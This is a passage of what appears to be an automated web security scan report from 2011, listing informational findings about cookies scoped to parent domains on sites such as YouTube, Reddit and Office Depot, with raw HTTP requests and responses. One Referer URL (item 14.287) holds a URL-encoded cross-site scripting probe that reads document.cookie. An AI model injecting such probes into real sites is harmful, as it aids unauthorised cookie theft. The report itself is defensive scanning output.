Set-Cookie: E=P:Z8tc6J+TzYg=:Sat/ZBZp0alEo6grHvlB26tzg6c5Lr6Z/8oDdDPquS4=:F; domain=.live.com; path=/
Set-Cookie: wla42=; domain=live.com; expires=Sat, 12-Feb-2011 23:02:33 GMT; path=/
X-Powered-By: ASP.NET
P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo"
Date: Sat, 05 Feb 2011 23:02:32 GMT
Connection: close
Content-Length: 345

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1296946953&rver=6.1.6206.0&wp=MBI&wrep
...[SNIP]...

14.272. http://www.livejournal.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.livejournal.com
Path:	/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

ljuniq=MnryuUjDEJIp2pJ:1296946954:pgstats0:m0; expires=Wednesday, 06-Apr-2011 23:02:34 GMT; domain=.livejournal.com; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.livejournal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.273. http://www.mybloglog.com/links/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mybloglog.com
Path:	/links/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

BX=fbnhh856krig8&b=3&s=mv; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.mybloglog.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /links/ HTTP/1.1
Host: www.mybloglog.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Date: Sat, 05 Feb 2011 22:07:04 GMT
Set-Cookie: BX=fbnhh856krig8&b=3&s=mv; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.mybloglog.com
P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"
location: http://www.mybloglog.com/
Cache-Control: private
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 82

14.274. http://www.newsvine.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.newsvine.com
Path:	/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

vid=3a4937fb2983dadb56c5168b22255db3; expires=Fri, 31-Jan-2031 23:02:53 GMT; path=/; domain=.newsvine.com
sprout=2_kGyhIl1F2ko87PYZ8d2fSYCKMKWCW5ewEBC8jEGtgcoaSGuXhq3hDkYeuKPwF%2FPFLYfYM9dQFw8AnXFXY4EQuxw%2FFQlGg8nSpMit7LSHzn3oOd7FRtEzmZhdhLzAs2S%2BOnUx9lwkG9YsIYSnzy21lut2nQgXaMSF%2BhOET5670ZWIbdSoPfX6svvgI4xRaVIegWb1xIBchOg2Ju8qox1cAhxIoFowYrBNSo9rB2hnM2QjP0Lo4xTAq%2Fg77FsEXPRS; expires=Fri, 31-Jan-2031 23:02:53 GMT; path=/; domain=.newsvine.com
vid=3a4937fb2983dadb56c5168b22255db3; expires=Fri, 31-Jan-2031 23:02:53 GMT; path=/; domain=.newsvine.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.newsvine.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.275. http://www.nmworkwear.de/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nmworkwear.de
Path:	/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

XTCsid=ekde4uf6o3m1pae1sfc1dc4f16; path=/; domain=.nmworkwear.de

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.nmworkwear.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.276. http://www.nmworkwear.de/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nmworkwear.de
Path:	/index.php

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

XTCsid=3ugqie5obq0npitc2bvsin2tr7; path=/; domain=.nmworkwear.de

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /index.php HTTP/1.1
Host: www.nmworkwear.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.277. http://www.officedepot.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.officedepot.com
Path:	/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

cae_browser=desktop; path=/; domain=.officedepot.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.officedepot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.278. http://www.officedepot.com/promo/list5.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.officedepot.com
Path:	/promo/list5.do

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

cae_browser=desktop; path=/; domain=.officedepot.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /promo/list5.do HTTP/1.1
Host: www.officedepot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.279. http://www.plurk.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.plurk.com
Path:	/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

plurkcookiea="u4Dzd5qY/w+YBVv+jylep8RII90=?user_ip=UycxNzMuMTkzLjIxNC4yNDMnCnAxCi4="; Domain=.plurk.com; expires=Sun, 20-Feb-2011 16:10:55 GMT; Max-Age=1209600; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.plurk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 FOUND
Server: nginx/0.7.64
Date: Sun, 06 Feb 2011 16:10:55 GMT
Content-Type: text/html
Connection: close
Location: http://www.plurk.com/t/English
Set-Cookie: plurkcookiea="u4Dzd5qY/w+YBVv+jylep8RII90=?user_ip=UycxNzMuMTkzLjIxNC4yNDMnCnAxCi4="; Domain=.plurk.com; expires=Sun, 20-Feb-2011 16:10:55 GMT; Max-Age=1209600; Path=/
Expires: Sun, 06 Feb 2011 16:10:54 GMT
Cache-Control: no-cache
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 223

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>302 Found</title>
<h1>Found</h1>
<p>You should be redirected automatically to target URL:</p><p><a href="/t/English">/t/English</a>. If n
...[SNIP]...

14.280. http://www.protopage.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.protopage.com
Path:	/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

ipp=protopage/autocreate; Domain=.protopage.com; Expires=Mon, 06-Feb-2012 16:11:00 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.protopage.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Expires: Sat, 6 May 1995 12:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: im=p; Domain=.protopage.com; Expires=Mon, 06-Feb-2012 16:11:00 GMT; Path=/
Set-Cookie: ipp=protopage/autocreate; Domain=.protopage.com; Expires=Mon, 06-Feb-2012 16:11:00 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Date: Sun, 06 Feb 2011 16:11:00 GMT
Connection: close

 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Pro
...[SNIP]...

14.281. http://www.reddit.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.reddit.com
Path:	/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

reddit_first=%7B%22organic_pos%22%3A%201%2C%20%22firsttime%22%3A%20%22first%22%7D; Domain=reddit.com; expires=Thu, 31 Dec 2037 23:59:59 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.reddit.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.282. http://www.retrevo.com/support/HP-W8000-Desktops-manual/id/3823ag123/t/2 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.retrevo.com
Path:	/support/HP-W8000-Desktops-manual/id/3823ag123/t/2

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

u=4d9f3b67934f473891bc273394b24dad; Domain=.retrevo.com; Expires=Mon, 28-Jan-2041 22:09:27 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /support/HP-W8000-Desktops-manual/id/3823ag123/t/2 HTTP/1.1
Host: www.retrevo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Set-Cookie: JSESSIONID=7C9CF70A5240CFB9892A007BA287025C; Path=/
Set-Cookie: s_refType=; Domain=.retrevo.com; Expires=Sat, 05-Feb-2011 22:09:28 GMT; Path=/
Set-Cookie: u=4d9f3b67934f473891bc273394b24dad; Domain=.retrevo.com; Expires=Mon, 28-Jan-2041 22:09:27 GMT; Path=/
Set-Cookie: us=4d9f3b67934f473891bc273394b24dad; Path=/
Set-Cookie: ss=65665; Path=/
P3P: policyref="/w3c/p3p.xml", CP="IDC DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT"
Location: /support/HP-W8000-Desktops-manual/id/3823ag123/t/2/
Content-Length: 0
Date: Sat, 05 Feb 2011 22:09:27 GMT
Server: Apache-Coyote/1.1
Connection: close

14.283. http://www.splunk.com/download previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/download

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

Apache=173.193.214.243.1296942540001460; path=/; expires=Sun, 01-Feb-26 21:49:00 GMT; domain=.splunk.com
XARAYASID=ms69fapvgb6kjldegl9ntpo0g1; expires=Wed, 06 Feb 2036 03:49:00 GMT; path=/; domain=.splunk.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /download?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw HTTP/1.1
Host: www.splunk.com
Proxy-Connection: keep-alive
Referer: http://pagead2.googlesyndication.com/pagead/imgad?id=CK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

14.284. http://www.terra.com/$|www.people.com/$|http:/www.walmart.com/|http:/www.walmart.com/cp/toys/4171|http:/www.walmart.com/cp/Electronics/3944 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.terra.com
Path:	/$\|www.people.com/$\|http:/www.walmart.com/\|http:/www.walmart.com/cp/toys/4171\|http:/www.walmart.com/cp/Electronics/3944

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

WEBTRENDS_ID=173.193.214.243-1297008963.348471; path=/; expires=Fri, 01-Jan-2016 00:02:42 GMT; domain=.terra.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /$|www.people.com/$|http:/www.walmart.com/|http:/www.walmart.com/cp/toys/4171|http:/www.walmart.com/cp/Electronics/3944 HTTP/1.1
Host: www.terra.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Date: Sun, 06 Feb 2011 16:16:03 GMT
Server: Apache
X-Powered-By: PHP/5.2.10
Status: 404 Not Found
Location: http://buscador.terra.com/404.aspx?ca=z&query=$%7Cwww&source=Search&curl=http://www.terra.com/$%7Cwww.people.com/$%7Chttp:/www.walmart.com/%7Chttp:/www.walmart.com/cp/toys/4171%7Chttp:/www.walmart.com/cp/Electronics/3944
Vary: User-Agent,Accept-Encoding
Content-Length: 0
Content-Type: text/html
Set-Cookie: WEBTRENDS_ID=173.193.214.243-1297008963.348471; path=/; expires=Fri, 01-Jan-2016 00:02:42 GMT; domain=.terra.com
Connection: close

14.285. http://www.traffictrack.de/tracking/mpr.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.traffictrack.de
Path:	/tracking/mpr.php

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

iCmprnokia1=ID%3D129701405100000%3ATBL%3D11%3ACTR%3D3%3Ac8b5e4d57e6424ab9206a1a155f3db4e%3AKD%3Dnokia%3Acid%3Dzx%3Akw%3DbannerID%3ATTnw%3DZanox%3ATTprm%3D13849089C1902184109S14786739T1469378460744041488; expires=Sun, 05-Feb-2012 17:40:51 GMT; path=/; domain=traffictrack.de

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /tracking/mpr.php?kunde=nokia&nwid=zx&keyword=bannerID&ctn=mg&zanpid=13849089C1902184109S14786739T1469378460744041488 HTTP/1.1
Host: www.traffictrack.de
Proxy-Connection: keep-alive
Referer: http://www.ad4mat.de/ads/redir.php?nurl=aHR0cDovL2FkLnphbm94LmNvbS90cHYvPzE0Nzg2NzM5QzQzNTY3MTEwNiZVTFA9aHR0cDovL2FkLnphbm94LmNvbS90cHYvPzEzODQ5MDg5QzE5MDIxODQxMDlTMTQ3ODY3MzlUJnpwYXIwPTY3N18xXzcyOHg5MF8zNjBfcHZjX2FkNG1hdGRlZGF1bHQ=
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:40:51 GMT
Server: Apache/2.2.8 (Linux/SUSE)
X-Powered-By: PHP/5.2.6
Set-Cookie: iCmprnokia1=ID%3D129701405100000%3ATBL%3D11%3ACTR%3D3%3Ac8b5e4d57e6424ab9206a1a155f3db4e%3AKD%3Dnokia%3Acid%3Dzx%3Akw%3DbannerID%3ATTnw%3DZanox%3ATTprm%3D13849089C1902184109S14786739T1469378460744041488; expires=Sun, 05-Feb-2012 17:40:51 GMT; path=/; domain=traffictrack.de
Pragma: public
Content-Length: 43
P3P: policyref="http://www.traffictrack.de/w3c/p3p.xml", CP="ALL DSP COR NID"
Connection: close
Content-Type: image/gif

GIF89a.............!.......,...........D..;

14.286. http://www.tuenti.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.tuenti.com
Path:	/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

ourl=deleted; expires=Sat, 06-Feb-2010 16:16:03 GMT; path=/; domain=.tuenti.com
manual_logout=deleted; expires=Sat, 06-Feb-2010 16:16:03 GMT; path=/; domain=.tuenti.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.tuenti.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, must-revalidate
Expires: Mon, 26 Jul 2005 04:59:59 GMT
Content-Type: text/html
Set-Cookie: ourl=deleted; expires=Sat, 06-Feb-2010 16:16:03 GMT; path=/; domain=.tuenti.com
Set-Cookie: manual_logout=deleted; expires=Sat, 06-Feb-2010 16:16:03 GMT; path=/; domain=.tuenti.com
X-Tuenti-State: logout
Connection: close
Date: Sun, 06 Feb 2011 16:16:04 GMT
Content-Length: 1619

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><meta http-equiv="
...[SNIP]...

14.287. http://www.wtp101.com/pixel previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.wtp101.com
Path:	/pixel

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

tuuid=38f8a1ac-1e96-40c8-8d5e-172234bf5f5f; path=/; expires=Mon, 04 Feb 2013 21:54:21 GMT; domain=.wtp101.com
s=!1012; path=/; expires=Mon, 04 Feb 2013 21:54:21 GMT; domain=.wtp101.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /pixel?id=1012&r=1&nocb=1 HTTP/1.1
Host: www.wtp101.com
Proxy-Connection: keep-alive
Referer: http://searchnet.chitika.net/audience?cc=US&domain=homeappliance.manualsonline.com&ip=173.193.214.243&murl=aarp.thehartford.com,foxnews8.com,carinsuranceweb.com,geinterestplus.com,digestaqure.com&p=0.000700179100183313&url=http%3A%2F%2Fhomeappliance.manualsonline.com%2Fex%2Fmfg%2Fheadline%2Fm%2Fariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281%2Fd%2Ftype%2Fproduct_problem&cbb=0x5FAA34DC317211E0BEB038273F87B1CA
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: synced=!adnexus!yahoo!openx!google; tuuid=38f8a1ac-1e96-40c8-8d5e-172234bf5f5f

Response

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache, no-store, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Sat, 05 Feb 2011 21:54:21 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Location: http://www.googleadservices.com/pagead/conversion/1024474926/?label=4q4iCODn3QEQrv7A6AM&guid=ON&script=0
P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Pragma: no-cache
Set-Cookie: tuuid=38f8a1ac-1e96-40c8-8d5e-172234bf5f5f; path=/; expires=Mon, 04 Feb 2013 21:54:21 GMT; domain=.wtp101.com
Set-Cookie: s=!1012; path=/; expires=Mon, 04 Feb 2013 21:54:21 GMT; domain=.wtp101.com
Content-Length: 0
Connection: keep-alive

14.288. http://www.yigg.de/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.yigg.de
Path:	/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

YGSS=48eb888e917598a4bd50438277a24ac9:422a0f841e7d9f5de7b2b8ecb19eed22e9c15359; expires=Wed, 16-Feb-2011 16:16:24 GMT; path=/; domain=yigg.de; httponly

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.yigg.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.289. http://www.youtube.com/americanexpress previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.youtube.com
Path:	/americanexpress

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

use_hitbox=72c46ff6cbcdb7c5585c36411b6b334edAEAAAAw; path=/; domain=.youtube.com
VISITOR_INFO1_LIVE=c_sXjcA9xII; path=/; domain=.youtube.com; expires=Mon, 03-Oct-2011 22:21:11 GMT
GEO=8c13c5354668e4ba32fe1a481a49181ccwsAAAAzVVOtwdbzTU3NVw==; path=/; domain=.youtube.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /americanexpress HTTP/1.1
Host: www.youtube.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 303 See Other
Date: Sat, 05 Feb 2011 22:21:11 GMT
Server: Apache
X-Content-Type-Options: nosniff
Set-Cookie: use_hitbox=72c46ff6cbcdb7c5585c36411b6b334edAEAAAAw; path=/; domain=.youtube.com
Set-Cookie: VISITOR_INFO1_LIVE=c_sXjcA9xII; path=/; domain=.youtube.com; expires=Mon, 03-Oct-2011 22:21:11 GMT
Set-Cookie: GEO=8c13c5354668e4ba32fe1a481a49181ccwsAAAAzVVOtwdbzTU3NVw==; path=/; domain=.youtube.com
Expires: Tue, 27 Apr 1971 19:44:06 EST
Content-Length: 0
Cache-Control: no-cache
Location: http://www.youtube.com/das_captcha?next=/americanexpress
Content-Type: text/html; charset=utf-8
Connection: close

14.290. http://www.youtube.com/embed/208T0-OLXA8 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.youtube.com
Path:	/embed/208T0-OLXA8

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

use_hitbox=72c46ff6cbcdb7c5585c36411b6b334edAEAAAAw; path=/; domain=.youtube.com
GEO=2489150af21634a306c82d75e51b5d30cwsAAAAzVVOtwdbzTU3P1Q==; path=/; domain=.youtube.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /embed/208T0-OLXA8 HTTP/1.1
Host: www.youtube.com
Proxy-Connection: keep-alive
Referer: http://www.owneriq.com/ownership-targeting?src=728x90_blue
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VISITOR_INFO1_LIVE=2tNl54hzFtE

Response

14.291. http://www.youtube.com/embed/5aWd_-x1oPE previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.youtube.com
Path:	/embed/5aWd_-x1oPE

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

use_hitbox=72c46ff6cbcdb7c5585c36411b6b334edAEAAAAw; path=/; domain=.youtube.com
GEO=d19e70e6a056bd960c6f9877077287edcwsAAAAzVVOtwdbzTU3Pyg==; path=/; domain=.youtube.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /embed/5aWd_-x1oPE HTTP/1.1
Host: www.youtube.com
Proxy-Connection: keep-alive
Referer: http://www.owneriq.com/ownership-targeting?src=728x90_blue
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VISITOR_INFO1_LIVE=2tNl54hzFtE

Response

14.292. http://www.youtube.com/watch previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.youtube.com
Path:	/watch

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

PREF=f1=40000000; path=/; domain=.youtube.com; expires=Tue, 02-Feb-2021 22:41:33 GMT
GEO=f3452e70229898077c07f3ed5215d0bccwsAAAAzR0KtwdbzTU3SHQ==; path=/; domain=.youtube.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /watch HTTP/1.1
Host: www.youtube.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: VISITOR_INFO1_LIVE=2tNl54hzFtE; use_hitbox=72c46ff6cbcdb7c5585c36411b6b334edAEAAAAw; GEO=c0f1d1d2c857cb01c350c8b8c68c361ecwsAAAAzVVOtwdbzTU3HFg==;

Response

HTTP/1.1 303 See Other
Date: Sat, 05 Feb 2011 22:41:33 GMT
Server: wiseguy/0.6.7
Content-Length: 0
X-Content-Type-Options: nosniff
Set-Cookie: PREF=f1=40000000; path=/; domain=.youtube.com; expires=Tue, 02-Feb-2021 22:41:33 GMT
Set-Cookie: GEO=f3452e70229898077c07f3ed5215d0bccwsAAAAzR0KtwdbzTU3SHQ==; path=/; domain=.youtube.com
Expires: Tue, 27 Apr 1971 19:44:06 EST
Cache-Control: no-cache
Content-Type: text/html; charset=utf-8
Location: http://www.youtube.com/das_captcha?next=http%3A%2F%2Fwww.youtube.com%2Fwatch&ytsession=CrHMDXZiHhCUCPfGVgtkSCBPdNSPzrhpn39-4I0L1XlfYvtYQ65-g8BaNDzM0uvf0Fn3FBlNQPxx3x8F51dId1BM4l3GLR1CUlZRwARyBvuJGEH6uebWuDte2Mspaox32XrVLifz_DSu13T18jAndZqkw6SyNqAbodrsRXwistnr1fL1DI8fql0wyuEPVqwachJzW5W5oAHj0CE2z2KGV7SaDdqUzk0et3zj0IK7NUi1JP6mtyX9fWBLma2l7pFTLElmp2bI20SHDgKHyDO-_DvZr5Ok3mm6IbRA8SgfJ0OhiLACa3Jf-A
Connection: close

14.293. http://www.zanox-affiliate.de/tpv/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.zanox-affiliate.de
Path:	/tpv/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

zttpvc=5C2945S1469387008513466368T0I11259580C0SV1LJMVy4dqmqo38356976y83y85qeyq140ya19ya5954s92yb3930ybbq71alyc3rq790phesxabzugyddydfT0; domain=.zanox-affiliate.de; path=/
zptpvc=5C2945S1469387008513466368T0I11259580C0SV1LJMVy4dqmqo38356976y83y85qeyq140ya19ya5954s92yb3930ybbq71alyc3rq790phesxabzugyddydfT0; expires=Sat, 07-May-2011 17:39:22 GMT; domain=.zanox-affiliate.de; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /tpv/?11259580C1463786597S14786739T&zpar0=125_1_728x90_360_pvc_ad4matdedault&zanpid=14786739C435671106T1469378458521060355 HTTP/1.1
Host: www.zanox-affiliate.de
Proxy-Connection: keep-alive
Referer: http://www.ad4mat.de/ads/redir.php?nurl=aHR0cDovL2FkLnphbm94LmNvbS90cHYvPzE0Nzg2NzM5QzQzNTY3MTEwNiZVTFA9aHR0cDovL3d3dy56YW5veC1hZmZpbGlhdGUuZGUvdHB2Lz8xMTI1OTU4MEMxNDYzNzg2NTk3UzE0Nzg2NzM5VCZ6cGFyMD0xMjVfMV83Mjh4OTBfMzYwX3B2Y19hZDRtYXRkZWRhdWx0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Moved Temporarily
Connection: close
Date: Sun, 06 Feb 2011 17:39:22 GMT
Server: Microsoft-IIS/6.0
P3P: policyref="http://www.zanox-affiliate.de/w3c/p3p.xml", CP="NOI CUR OUR STP"
X-Powered-By: ASP.NET
